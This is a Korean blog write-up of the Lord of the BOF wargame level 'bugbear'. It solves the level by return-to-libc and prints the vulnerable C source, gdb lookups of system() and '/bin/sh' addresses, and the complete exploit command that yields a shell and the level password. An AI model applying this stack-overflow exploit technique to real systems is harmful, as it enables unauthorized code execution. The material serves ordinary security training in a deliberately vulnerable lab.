시작
안녕하세요 :D
분노의 LOB를 풀고 있습니다!! peda 없는 pwnable은 힘드네요.. peda 가져와……
다시 한 번 peda의 find, ropgadget 기능의 위대함을 느끼며
RTL1, 시작하겠습니다!!
Write UP
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack betrayed you!!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
Return to Library, RTL 문제가 나왔습니다.
보니깐 리턴을 쉘코드 주소로 덮어쓰지 못하게 \xbf
를 필터링하네요.
처음 ROP 공부할 때가 생각나는 문제입니다 ㅎㅎ
SFP까지 덮고 RET을 system()
으로 overwirte 후 더미 4 bytes와 /bin/sh
를 주면 되겠네요.
(gdb) p system
$1 = {} 0x40058ae0 <__libc_system>
system = 0x40058ae0
(gdb) find "/bin/sh"
Undefined command: "find". Try "help".
.. peda 가져와라
직접 짜서 구해야겠네요 ㅎ..
#include <stdio.h>
int main() {
int system = 0x40058ae0;
while (memcmp((void *)system, "/bin/sh\x00", 8))
system++;
printf("%p\n", system);
}
“/bin/sh” = 0x400fbff9
끝끝
[darkknight@localhost bugbear]$ ./bug `python -c 'print "A" * 44 + "\xe0\x8a\x05\x40" + "BBBB" + "\xf9\xbf\x0f\x40"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒@BBBB▒@
bash$ whoami
bugbear
bash$ my-pass
euid = 513
new divide
Exploit!!
마무리
peda는 삶의 질을 높여줍니다!! ㅎㅎ
감사합니다 :D
'CTF_Write_UP > LOB' 카테고리의 다른 글
[LOB] giant (0) | 2019.08.03 |
---|---|
[LOB] bugbear (0) | 2019.08.02 |
[LOB] golem (0) | 2019.08.01 |
[LOB] skeleton (0) | 2019.07.05 |
[LOB] vampire (0) | 2019.07.04 |